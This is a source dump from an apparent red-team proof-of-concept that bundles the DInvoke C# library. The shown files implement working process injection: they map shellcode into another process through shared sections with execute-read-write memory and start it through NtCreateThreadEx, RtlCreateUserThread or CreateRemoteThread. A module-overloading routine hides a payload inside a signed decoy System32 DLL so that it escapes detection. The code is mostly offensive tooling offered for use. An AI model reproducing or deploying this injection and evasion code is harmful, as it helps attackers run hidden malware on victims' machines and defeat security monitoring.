38 | /// The address at which to allocate the payload in the target process.
39 | /// True when allocation was successful. Otherwise, throws relevant exceptions.
40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address)
41 | {
42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() };
43 |
44 | try
45 | {
46 | // Get delegate to the overload of Allocate that supports the type of payload passed in
47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
48 |
49 | // Dynamically invoke the appropriate Allocate overload
50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address });
51 | }
52 | // If there is no such method
53 | catch (ArgumentNullException)
54 | {
55 | throw new PayloadTypeNotSupported(Payload.GetType());
56 | }
57 | }
58 |
59 | ///
60 | /// Allocate the payload to the target process.
61 | ///
62 | /// The Wover (@TheRealWover)
63 | /// The payload to allocate to the target process.
64 | /// The target process.
65 | /// Base address of allocated memory within the target process's virtual memory space.
66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process)
67 | {
68 |
69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) };
70 |
71 | try
72 | {
73 | // Get delegate to the overload of Allocate that supports the type of payload passed in
74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
75 |
76 | // Dynamically invoke the appropriate Allocate overload
77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process });
78 | }
79 | // If there is no such method
80 | catch (ArgumentNullException)
81 | {
82 | throw new PayloadTypeNotSupported(Payload.GetType());
83 | }
84 | }
85 | }
86 |
87 | ///
88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections.
89 | ///
90 | public class SectionMapAlloc : AllocationTechnique
91 | {
92 | // Publically accessible options
93 |
94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT;
97 |
98 | ///
99 | /// Default constructor.
100 | ///
101 | public SectionMapAlloc()
102 | {
103 | DefineSupportedPayloadTypes();
104 | }
105 |
106 | ///
107 | /// Constructor allowing options as arguments.
108 | ///
109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT)
110 | {
111 | DefineSupportedPayloadTypes();
112 | localSectionPermissions = localPerms;
113 | remoteSectionPermissions = remotePerms;
114 | sectionAttributes = atts;
115 | }
116 |
117 | ///
118 | /// States whether the payload is supported.
119 | ///
120 | /// The Wover (@TheRealWover)
121 | /// Payload that will be allocated.
122 | ///
123 | public override bool IsSupportedPayloadType(PayloadType Payload)
124 | {
125 | return supportedPayloads.Contains(Payload.GetType());
126 | }
127 |
128 | ///
129 | /// Internal method for setting the supported payload types. Used in constructors.
130 | /// Update when new types of payloads are added.
131 | ///
132 | /// The Wover (@TheRealWover)
133 | internal override void DefineSupportedPayloadTypes()
134 | {
135 | //Defines the set of supported payload types.
136 | supportedPayloads = new Type[] {
137 | typeof(PICPayload)
138 | };
139 | }
140 |
141 | ///
142 | /// Allocate the payload to the target process. Handles unknown payload types.
143 | ///
144 | /// The Wover (@TheRealWover)
145 | /// The payload to allocate to the target process.
146 | /// The target process.
147 | /// Base address of allocated memory within the target process's virtual memory space.
148 | public override IntPtr Allocate(PayloadType Payload, Process Process)
149 | {
150 | if (!IsSupportedPayloadType(Payload))
151 | {
152 | throw new PayloadTypeNotSupported(Payload.GetType());
153 | }
154 | return Allocate(Payload, Process, IntPtr.Zero);
155 | }
156 |
157 | ///
158 | /// Allocate the payload in the target process.
159 | ///
160 | /// The Wover (@TheRealWover)
161 | /// The PIC payload to allocate to the target process.
162 | /// The target process.
163 | /// The preferred address at which to allocate the payload in the target process.
164 | /// Base address of allocated memory within the target process's virtual memory space.
165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
166 | {
167 | // Get a convenient handle for the target process.
168 | IntPtr procHandle = Process.Handle;
169 |
170 | // Create a section to hold our payload
171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);
172 |
173 | // Map a view of the section into our current process with RW permissions
174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));
176 |
177 | // Copy the shellcode to the local view
178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);
179 |
180 | // Now that we are done with the mapped view in our own process, unmap it
181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);
182 |
183 | // Now, map a view of the section to other process. It should already hold the payload.
184 |
185 | SectionDetails newDetails;
186 |
187 | if (PreferredAddress != IntPtr.Zero)
188 | {
189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
190 | // Refer to MSDN documentation on ZwMapViewOfSection for details.
191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
192 | }
193 | else
194 | {
195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
196 | }
197 | return newDetails.baseAddr;
198 | }
199 |
200 | ///
201 | /// Creates a new Section.
202 | ///
203 | /// The Wover (@TheRealWover)
204 | /// Max size of the Section.
205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT).
206 | ///
207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes)
208 | {
209 | // Create a pointer for the section handle
210 | IntPtr SectionHandle = new IntPtr();
211 | ulong maxSize = size;
212 |
213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
214 | ref SectionHandle,
215 | 0x10000000,
216 | IntPtr.Zero,
217 | ref maxSize,
218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE,
219 | allocationAttributes,
220 | IntPtr.Zero
221 | );
222 | // Perform error checking on the result
223 | if (result < 0)
224 | {
225 | return IntPtr.Zero;
226 | }
227 | return SectionHandle;
228 | }
229 |
230 | ///
231 | /// Maps a view of a section to the target process.
232 | ///
233 | /// The Wover (@TheRealWover)
234 | /// Handle the process that the section will be mapped to.
235 | /// Handle to the section.
236 | /// What permissions to use on the view.
237 | /// Optional parameter to specify the address of where to map the view.
238 | /// Size of the view to map. Must be smaller than the max Section size.
239 | /// A struct containing address and size of the mapped view.
240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
241 | {
242 | // Copied so that they may be passed by reference but the original value preserved
243 | IntPtr baseAddr = addr;
244 | ulong size = sizeData;
245 |
246 | uint disp = 2;
247 | uint alloc = 0;
248 |
249 | // Returns an NTSTATUS value
250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
251 | sectionHandle, procHandle,
252 | ref baseAddr,
253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
254 | ref size, disp, alloc,
255 | protection
256 | );
257 |
258 | // Create a struct to hold the results.
259 | SectionDetails details = new SectionDetails(baseAddr, sizeData);
260 |
261 | return details;
262 | }
263 |
264 |
265 | ///
266 | /// Holds the data returned from NtMapViewOfSection.
267 | ///
268 | public struct SectionDetails
269 | {
270 | public IntPtr baseAddr;
271 | public ulong size;
272 |
273 | public SectionDetails(IntPtr addr, ulong sizeData)
274 | {
275 | baseAddr = addr;
276 | size = sizeData;
277 | }
278 | }
279 |
280 | ///
281 | /// Unmaps a view of a section from a process.
282 | ///
283 | /// The Wover (@TheRealWover)
284 | /// Process to which the view has been mapped.
285 | /// Address of the view (relative to the target process)
286 | ///
287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr)
288 | {
289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr);
290 | }
291 | }
292 | }
293 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Execution.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for Injection strategies.
12 | ///
13 | public abstract class ExecutionTechnique
14 | {
15 |
16 | //An array containing a set of PayloadType objects that are supported.
17 | protected Type[] supportedPayloads;
18 |
19 | ///
20 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
21 | ///
22 | /// The Wover (@TheRealWover)
23 | /// A payload.
24 | /// Whether or not the payload is of a supported type for this strategy.
25 | public abstract bool IsSupportedPayloadType(PayloadType payload);
26 |
27 | ///
28 | /// Internal method for setting the supported payload types. Used in constructors.
29 | ///
30 | /// The Wover (@TheRealWover)
31 | abstract internal void DefineSupportedPayloadTypes();
32 |
33 | ///
34 | /// Inject and execute a payload in the target process using a specific allocation technique.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | /// The type of payload to execute.
38 | /// The allocation technique to use.
39 | /// The target process.
40 | /// bool
41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process)
42 | {
43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()};
44 |
45 | try
46 | {
47 | // Get delegate to the overload of Inject that supports the type of payload passed in
48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
49 |
50 | // Dynamically invoke the appropriate Allocate overload
51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process });
52 | }
53 | // If there is no such method
54 | catch (ArgumentNullException)
55 | {
56 | throw new PayloadTypeNotSupported(Payload.GetType());
57 | }
58 | }
59 |
60 | ///
61 | /// Execute a payload in the target process at a specified address.
62 | ///
63 | /// The Wover (@TheRealWover)
64 | /// The type of payload to execute.
65 | /// The base address of the payload.
66 | /// The target process.
67 | /// bool
68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process)
69 | {
70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() };
71 |
72 | try
73 | {
74 | // Get delegate to the overload of Inject that supports the type of payload passed in
75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
76 |
77 | // Dynamically invoke the appropriate Allocate overload
78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process });
79 | }
80 | // If there is no such method
81 | catch (ArgumentNullException)
82 | {
83 | throw new PayloadTypeNotSupported(Payload.GetType());
84 | }
85 | }
86 |
87 | ///
88 | /// Execute a payload in the current process using a specific allocation technique.
89 | ///
90 | /// The Wover (@TheRealWover)
91 | /// The type of payload to execute.
92 | /// The allocation technique to use.
93 | ///
94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique)
95 | {
96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()};
97 |
98 | try
99 | {
100 | // Get delegate to the overload of Inject that supports the type of payload passed in
101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
102 |
103 | // Dynamically invoke the appropriate Allocate overload
104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique });
105 | }
106 | // If there is no such method
107 | catch (ArgumentNullException)
108 | {
109 | throw new PayloadTypeNotSupported(Payload.GetType());
110 | }
111 | }
112 | }
113 |
114 |
115 | ///
116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
117 | ///
118 | public class RemoteThreadCreate : ExecutionTechnique
119 | {
120 | // Publically accessible options
121 | public bool suspended = false;
122 | public APIS api = APIS.NtCreateThreadEx;
123 |
124 | public enum APIS : int
125 | {
126 | NtCreateThreadEx = 0,
127 | // NtCreateThread = 1, // Not implemented
128 | RtlCreateUserThread = 2,
129 | CreateRemoteThread = 3
130 | };
131 |
132 | // Handle of the new thread. Only valid after the thread has been created.
133 | public IntPtr handle = IntPtr.Zero;
134 |
135 | ///
136 | /// Default constructor.
137 | ///
138 | public RemoteThreadCreate()
139 | {
140 | DefineSupportedPayloadTypes();
141 | }
142 |
143 | ///
144 | /// Constructor allowing options as arguments.
145 | ///
146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx)
147 | {
148 | DefineSupportedPayloadTypes();
149 | suspended = susp;
150 | api = varAPI;
151 | }
152 |
153 | ///
154 | /// States whether the payload is supported.
155 | ///
156 | /// The Wover (@TheRealWover)
157 | /// Payload that will be allocated.
158 | ///
159 | public override bool IsSupportedPayloadType(PayloadType Payload)
160 | {
161 | return supportedPayloads.Contains(Payload.GetType());
162 | }
163 |
164 | ///
165 | /// Internal method for setting the supported payload types. Used in constructors.
166 | /// Update when new types of payloads are added.
167 | ///
168 | /// The Wover (@TheRealWover)
169 | internal override void DefineSupportedPayloadTypes()
170 | {
171 | // Defines the set of supported payload types.
172 | supportedPayloads = new Type[] {
173 | typeof(PICPayload)
174 | };
175 | }
176 |
177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process)
178 | {
179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process);
180 | return Inject(Payload, baseAddr, Process);
181 | }
182 |
183 | ///
184 | /// Create a thread in the remote process.
185 | ///
186 | /// The Wover (@TheRealWover)
187 | /// The shellcode payload to execute in the target process.
188 | /// The address of the shellcode in the target process.
189 | /// The target process to inject into.
190 | ///
191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
192 | {
193 | IntPtr threadHandle = new IntPtr();
194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful;
195 |
196 | if (api == APIS.NtCreateThreadEx)
197 | {
198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
199 | result = DynamicInvoke.Native.NtCreateThreadEx(
200 | ref threadHandle,
201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
202 | IntPtr.Zero,
203 | Process.Handle, BaseAddress, IntPtr.Zero,
204 | suspended, 0, 0, 0, IntPtr.Zero
205 | );
206 | }
207 | else if (api == APIS.RtlCreateUserThread)
208 | {
209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
210 | result = DynamicInvoke.Native.RtlCreateUserThread(
211 | Process.Handle,
212 | IntPtr.Zero,
213 | suspended,
214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
215 | BaseAddress,
216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero
217 | );
218 | }
219 | else if (api == APIS.CreateRemoteThread)
220 | {
221 | uint flags = suspended ? (uint)0x00000004 : 0;
222 | IntPtr threadid = new IntPtr();
223 |
224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
226 | Process.Handle,
227 | IntPtr.Zero,
228 | 0,
229 | BaseAddress,
230 | IntPtr.Zero,
231 | flags,
232 | ref threadid
233 | );
234 |
235 | if (threadHandle == IntPtr.Zero)
236 | {
237 | return false;
238 | }
239 | handle = threadHandle;
240 | return true;
241 | }
242 |
243 | // If successful, return the handle to the new thread. Otherwise return NULL
244 | if (result != Data.Native.NTSTATUS.Success)
245 | {
246 | return false;
247 | }
248 | handle = threadHandle;
249 | return true;
250 | }
251 | }
252 | }
253 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Execution.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for Injection strategies.
12 | ///
13 | public abstract class ExecutionTechnique
14 | {
15 |
16 | //An array containing a set of PayloadType objects that are supported.
17 | protected Type[] supportedPayloads;
18 |
19 | ///
20 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
21 | ///
22 | /// The Wover (@TheRealWover)
23 | /// A payload.
24 | /// Whether or not the payload is of a supported type for this strategy.
25 | public abstract bool IsSupportedPayloadType(PayloadType payload);
26 |
27 | ///
28 | /// Internal method for setting the supported payload types. Used in constructors.
29 | ///
30 | /// The Wover (@TheRealWover)
31 | abstract internal void DefineSupportedPayloadTypes();
32 |
33 | ///
34 | /// Inject and execute a payload in the target process using a specific allocation technique.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | /// The type of payload to execute.
38 | /// The allocation technique to use.
39 | /// The target process.
40 | /// bool
41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process)
42 | {
43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()};
44 |
45 | try
46 | {
47 | // Get delegate to the overload of Inject that supports the type of payload passed in
48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
49 |
50 | // Dynamically invoke the appropriate Allocate overload
51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process });
52 | }
53 | // If there is no such method
54 | catch (ArgumentNullException)
55 | {
56 | throw new PayloadTypeNotSupported(Payload.GetType());
57 | }
58 | }
59 |
60 | ///
61 | /// Execute a payload in the target process at a specified address.
62 | ///
63 | /// The Wover (@TheRealWover)
64 | /// The type of payload to execute.
65 | /// The base address of the payload.
66 | /// The target process.
67 | /// bool
68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process)
69 | {
70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() };
71 |
72 | try
73 | {
74 | // Get delegate to the overload of Inject that supports the type of payload passed in
75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
76 |
77 | // Dynamically invoke the appropriate Allocate overload
78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process });
79 | }
80 | // If there is no such method
81 | catch (ArgumentNullException)
82 | {
83 | throw new PayloadTypeNotSupported(Payload.GetType());
84 | }
85 | }
86 |
87 | ///
88 | /// Execute a payload in the current process using a specific allocation technique.
89 | ///
90 | /// The Wover (@TheRealWover)
91 | /// The type of payload to execute.
92 | /// The allocation technique to use.
93 | ///
94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique)
95 | {
96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()};
97 |
98 | try
99 | {
100 | // Get delegate to the overload of Inject that supports the type of payload passed in
101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
102 |
103 | // Dynamically invoke the appropriate Allocate overload
104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique });
105 | }
106 | // If there is no such method
107 | catch (ArgumentNullException)
108 | {
109 | throw new PayloadTypeNotSupported(Payload.GetType());
110 | }
111 | }
112 | }
113 |
114 |
115 | ///
116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
117 | ///
118 | public class RemoteThreadCreate : ExecutionTechnique
119 | {
120 | // Publically accessible options
121 | public bool suspended = false;
122 | public APIS api = APIS.NtCreateThreadEx;
123 |
124 | public enum APIS : int
125 | {
126 | NtCreateThreadEx = 0,
127 | // NtCreateThread = 1, // Not implemented
128 | RtlCreateUserThread = 2,
129 | CreateRemoteThread = 3
130 | };
131 |
132 | // Handle of the new thread. Only valid after the thread has been created.
133 | public IntPtr handle = IntPtr.Zero;
134 |
135 | ///
136 | /// Default constructor.
137 | ///
138 | public RemoteThreadCreate()
139 | {
140 | DefineSupportedPayloadTypes();
141 | }
142 |
143 | ///
144 | /// Constructor allowing options as arguments.
145 | ///
146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx)
147 | {
148 | DefineSupportedPayloadTypes();
149 | suspended = susp;
150 | api = varAPI;
151 | }
152 |
153 | ///
154 | /// States whether the payload is supported.
155 | ///
156 | /// The Wover (@TheRealWover)
157 | /// Payload that will be allocated.
158 | ///
159 | public override bool IsSupportedPayloadType(PayloadType Payload)
160 | {
161 | return supportedPayloads.Contains(Payload.GetType());
162 | }
163 |
164 | ///
165 | /// Internal method for setting the supported payload types. Used in constructors.
166 | /// Update when new types of payloads are added.
167 | ///
168 | /// The Wover (@TheRealWover)
169 | internal override void DefineSupportedPayloadTypes()
170 | {
171 | // Defines the set of supported payload types.
172 | supportedPayloads = new Type[] {
173 | typeof(PICPayload)
174 | };
175 | }
176 |
177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process)
178 | {
179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process);
180 | return Inject(Payload, baseAddr, Process);
181 | }
182 |
183 | ///
184 | /// Create a thread in the remote process.
185 | ///
186 | /// The Wover (@TheRealWover)
187 | /// The shellcode payload to execute in the target process.
188 | /// The address of the shellcode in the target process.
189 | /// The target process to inject into.
190 | ///
191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
192 | {
193 | IntPtr threadHandle = new IntPtr();
194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful;
195 |
196 | if (api == APIS.NtCreateThreadEx)
197 | {
198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
199 | result = DynamicInvoke.Native.NtCreateThreadEx(
200 | ref threadHandle,
201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
202 | IntPtr.Zero,
203 | Process.Handle, BaseAddress, IntPtr.Zero,
204 | suspended, 0, 0, 0, IntPtr.Zero
205 | );
206 | }
207 | else if (api == APIS.RtlCreateUserThread)
208 | {
209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
210 | result = DynamicInvoke.Native.RtlCreateUserThread(
211 | Process.Handle,
212 | IntPtr.Zero,
213 | suspended,
214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
215 | BaseAddress,
216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero
217 | );
218 | }
219 | else if (api == APIS.CreateRemoteThread)
220 | {
221 | uint flags = suspended ? (uint)0x00000004 : 0;
222 | IntPtr threadid = new IntPtr();
223 |
224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
226 | Process.Handle,
227 | IntPtr.Zero,
228 | 0,
229 | BaseAddress,
230 | IntPtr.Zero,
231 | flags,
232 | ref threadid
233 | );
234 |
235 | if (threadHandle == IntPtr.Zero)
236 | {
237 | return false;
238 | }
239 | handle = threadHandle;
240 | return true;
241 | }
242 |
243 | // If successful, return the handle to the new thread. Otherwise return NULL
244 | if (result != Data.Native.NTSTATUS.Success)
245 | {
246 | return false;
247 | }
248 | handle = threadHandle;
249 | return true;
250 | }
251 | }
252 | }
253 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Injector.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 |
3 | using DynamicInvoke = DInvoke.DynamicInvoke;
4 |
5 | namespace DInvoke.Injection
6 | {
7 | ///
8 | /// Provides static functions for performing injection using a combination of Allocation and Execution components.
9 | ///
10 | /// The Wover (@TheRealWover)
11 | public static class Injector
12 | {
13 | ///
14 | /// Inject a payload into a target process using a specified allocation and execution technique.
15 | ///
16 | /// The Wover (@TheRealWover)
17 | ///
18 | ///
19 | ///
20 | ///
21 | ///
22 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process)
23 | {
24 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process);
25 | }
26 |
27 | ///
28 | /// Inject a payload into the current process using a specified allocation and execution technique.
29 | ///
30 | ///
31 | ///
32 | ///
33 | ///
34 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique)
35 | {
36 | return ExecutionTechnique.Inject(Payload, AllocationTechnique);
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Payload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | using DynamicInvoke = DInvoke.DynamicInvoke;
4 |
5 | namespace DInvoke.Injection
6 | {
7 | ///
8 | /// Base class for all types of payloads.
9 | /// Variants are responsible for specifying what types of payloads they support.
10 | ///
11 | /// The Wover (@TheRealWover)
12 | public abstract class PayloadType
13 | {
14 | public byte[] Payload { get; private set; }
15 |
16 | // Constructor that requires the user to pass in the payload as a byte array.
17 | protected PayloadType(byte[] data)
18 | {
19 | Payload = data;
20 | }
21 | }
22 |
23 | ///
24 | /// Represents payloads that are position-independent-code.
25 | ///
26 | /// The Wover (@TheRealWover)
27 | public class PICPayload : PayloadType
28 | {
29 | // Declares the constructor as equivalent to that of the base class.
30 | public PICPayload(byte[] data) : base(data) { }
31 | }
32 |
33 | ///
34 | /// Exception thrown when the type of a payload is not supported by a injection variant.
35 | ///
36 | /// The Wover (@TheRealWover)
37 | public class PayloadTypeNotSupported : Exception
38 | {
39 | public PayloadTypeNotSupported() { }
40 |
41 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/ManualMap/Overload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 |
7 | using Data = DInvoke.Data;
8 | using Utilities = DInvoke.Utilities;
9 | using DynamicInvoke = DInvoke.DynamicInvoke;
10 |
11 | namespace DInvoke.ManualMap
12 | {
13 | public class Overload
14 | {
15 | ///
16 | /// Locate a signed module with a minimum size which can be used for overloading.
17 | ///
18 | /// The Wover (@TheRealWover)
19 | /// Minimum module byte size.
20 | /// Whether to require that the module be legitimately signed.
21 | ///
22 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found.
23 | ///
24 | public static string FindDecoyModule(long MinSize, bool LegitSigned = true)
25 | {
26 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
27 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
28 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
29 | {
30 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
31 | {
32 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
33 | }
34 | }
35 |
36 | //Pick a random candidate that meets the requirements
37 |
38 | Random r = new Random();
39 | //List of candidates that have been considered and rejected
40 | List candidates = new List();
41 | while (candidates.Count != files.Count)
42 | {
43 | //Iterate through the list of files randomly
44 | int rInt = r.Next(0, files.Count);
45 | string currentCandidate = files[rInt];
46 |
47 | //Check that the size of the module meets requirements
48 | if (candidates.Contains(rInt) == false &&
49 | new FileInfo(currentCandidate).Length >= MinSize)
50 | {
51 | //Check that the module meets signing requirements
52 | if (LegitSigned == true)
53 | {
54 | if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)
55 | return currentCandidate;
56 | else
57 | candidates.Add(rInt);
58 | }
59 | else
60 | return currentCandidate;
61 | }
62 | candidates.Add(rInt);
63 | }
64 | return string.Empty;
65 | }
66 |
67 | ///
68 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
69 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
70 | ///
71 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
72 | /// Full path to the payload module on disk.
73 | /// Optional, full path the decoy module to overload in memory.
74 | /// PE.PE_MANUAL_MAP
75 | public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)
76 | {
77 | // Get approximate size of Payload
78 | if (!File.Exists(PayloadPath))
79 | {
80 | throw new InvalidOperationException("Payload filepath not found.");
81 | }
82 | byte[] Payload = File.ReadAllBytes(PayloadPath);
83 |
84 | return OverloadModule(Payload, DecoyModulePath, LegitSigned);
85 | }
86 |
87 | ///
88 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
89 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
90 | ///
91 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
92 | /// Full byte array for the payload module.
93 | /// Optional, full path the decoy module to overload in memory.
94 | /// PE.PE_MANUAL_MAP
95 | public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
96 | {
97 | // Did we get a DecoyModule?
98 | if (!string.IsNullOrEmpty(DecoyModulePath))
99 | {
100 | if (!File.Exists(DecoyModulePath))
101 | {
102 | throw new InvalidOperationException("Decoy filepath not found.");
103 | }
104 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
105 | if (DecoyFileBytes.Length < Payload.Length)
106 | {
107 | throw new InvalidOperationException("Decoy module is too small to host the payload.");
108 | }
109 | }
110 | else
111 | {
112 | DecoyModulePath = FindDecoyModule(Payload.Length);
113 | if (string.IsNullOrEmpty(DecoyModulePath))
114 | {
115 | throw new InvalidOperationException("Failed to find suitable decoy module.");
116 | }
117 | }
118 |
119 | // Map decoy from disk
120 | Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDiskToSection(DecoyModulePath);
